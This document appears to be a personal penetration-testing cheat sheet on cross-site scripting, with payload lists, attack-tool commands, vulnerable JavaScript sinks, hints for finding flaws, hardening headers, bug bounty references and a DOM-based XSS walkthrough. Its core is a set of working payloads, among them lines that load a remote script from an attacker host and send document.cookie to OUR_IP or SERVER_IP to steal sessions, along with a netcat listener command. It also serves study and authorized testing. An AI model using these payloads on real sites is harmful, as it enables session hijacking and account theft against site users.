Cross Site Scripting/XSS

Code Description
XSS Payloads
<script>alert(window.origin)</script> Basic XSS Payload
<plaintext> Basic XSS Payload
<script>print()</script> Basic XSS Payload
<img src="" onerror=alert(window.origin)> HTML-based XSS Payload
<script>document.body.style.background = "#141d2b"</script> Change Background Color
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script> Change Background Image
<script>document.title = 'HackTheBox Academy'</script> Change Website Title
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script> Overwrite website's main body
<script>document.getElementById('urlform').remove();</script> Remove certain HTML element
<script src="http://OUR_IP/script.js"></script> Load remote script
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script> Send Cookie details to us
<img src="x" onerror=fetch('https://SERVER_IP:PORT/index.php?c=document.cookie');>
or
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
Make request to external site to grab cookie (see https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#retrieve-cookies)
Commands
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" Run xsstrike on a url parameter
sudo nc -lvnp 80 Start netcat listener
sudo php -S 0.0.0.0:80 Start PHP server

Common attack vectors

Direct input (sinks)

  1. JavaScript code <script></script>
  2. CSS Style Code <style></style>
  3. Tag/Attribute Fields <div name='INPUT'></div>
  4. HTML Comments <!-- -->

Bad vanilla JS functions

  • DOM.innerHTML
  • DOM.outerHTML
  • document.write()
  • document.writeln()
  • document.domain

Bad JQuery functions

  • html()
  • parseHTML()
  • add()
  • append()
  • prepend()
  • after()
  • insertAfter()
  • before()
  • insertBefore()
  • replaceAll()
  • replaceWith()

Hints for Vulnerability

  • Characters that allow an XSS vulnerability to occur include double quotes ("), single quotes ('), and angle brackets (< >)
  • httponly flag missing; see [[Cookies#Attributes]] -> Bigger impact -> Can read Cookies
  • Characters are not escaped (eg. [[HTML Injection and Content Spoofing]])
  • < > etc, are not rendered AT ALL after saving input (stored XSS) -> Check Page source
  • input text fields
  • url content is rendered eg. [[XSS#Dom-Based XSS]]
  • check all the places it might be rendered
  • bad sanitization
  • intentionally submitted malformed <img> tags.
  • user input is modiefied instead of encoded or escaped -> test server side logic
  • url as parameter in url eg http://www.google.com/imgres?imgurl=https://lh3.googleuser.com/... -> repalce with javascript: origin ([[SameOrigin Policy]])
  • alternative input (eg. upload of files?)
  • input sanitized, output/rendering isn't

Server configuration

If the server is NOT DOING these things, it may be vulnerable:

  • Using HTTPS across the entire domain.
  • Using XSS prevention headers.
  • Using the appropriate Content-Type for the page, like X-Content-Type-Options=nosniff.
  • Using Content-Security-Policy options, like script-src 'self', which only allows locally hosted scripts.
  • Using the HttpOnly and Secure cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS.

Real World Examples

  • Shopify Wholesale: https://hackerone.com/reports/106293/ (reflected XSS)
  • Shopify Currency Formatting: https://hackerone.com/reports/104359/ (stored/blind?)
  • Yahoo! Mail Stored XSS: https://klikki.fi/adv/yahoo.html
  • Google Image Search: https://mahmoudsec.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html
  • Google Tag Manager Stored XSS: https://blog.it-securityguard.com/bugbounty-the-5000-google-xss/

Tools

  • XSS Payloads: http://html5sec.org/
  • Browser Filter ByPass: https://blog.innerht.ml/the-misunderstood-x-xss-protection/ and https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
  • https://xsshunter.com/ -> detects blind xss

Attack

Vectors

  • Form fields
  • js vars

Exploits/ Payloads

  • <script>alert(document.domain)</script> -> Bonus: Confirms Origin (see [[SameOrigin Policy]])
  • <script>alert(document.cookie)</script>
  • " onfocus=alert(document.cookie) autofocus " eg. in value of form field
  • " onfocus=alert(document.cookie) " eg. in value of form field
  • hacker';alert(document.cookie);' value that get's passed to js var
  • #"><img src=/ onerror=alert(3)>
  • <img src=x onerror=alert(document.domain)>
  • More: http://html5sec.org/

Think outside of the (input-)box (literally). eg. JSON upload of data that will be rendered:

"data": { 
    "name": "#"><img src=/ onerror=alert(3)>", 
    "type": "AUTO_EVENT_VAR", 
    "autoEventVarMacro": { "varType": "HISTORY_NEW_URL_FRAGMENT" }
}

Remedies

Sanitize/Escape rendered/output text (also input)

Dom-Based XSS

Manipulation of the content beeing shown

Example

Website (takes value from URL):

<html> 
    <body> 
        <h1>Hi <span id="name"></span></h1> <script>document.getElementById('name').innerHTML=location.hash.split('#')[1]</script> 
    </body>
</html>

Attack:

www.<example>.com/h1#<img src=x onerror=alert(document .domain)>

Result:

<html> 
    <body> 
        <h1>Hi 
            <span id="name">
                <img src=x onerror=alert(document.domain)>
            </span> 
        </h1> 
        <script>document.getElementById('name').innerHTML=location.hash.split('#')[1]</script> 
    </body>
</html>

Blind XSS

eg. add payload to First & Lastname on registration. Only admin sees unescaped XSS and gets pwnd.

Self-XSS

Self XSS vulnerabilities are those that can impact only the user enter-ing the payload.

If you find a self XSS, look for opportunities to combine it with another vulnerability that can affect other users, such as login/logout CSRF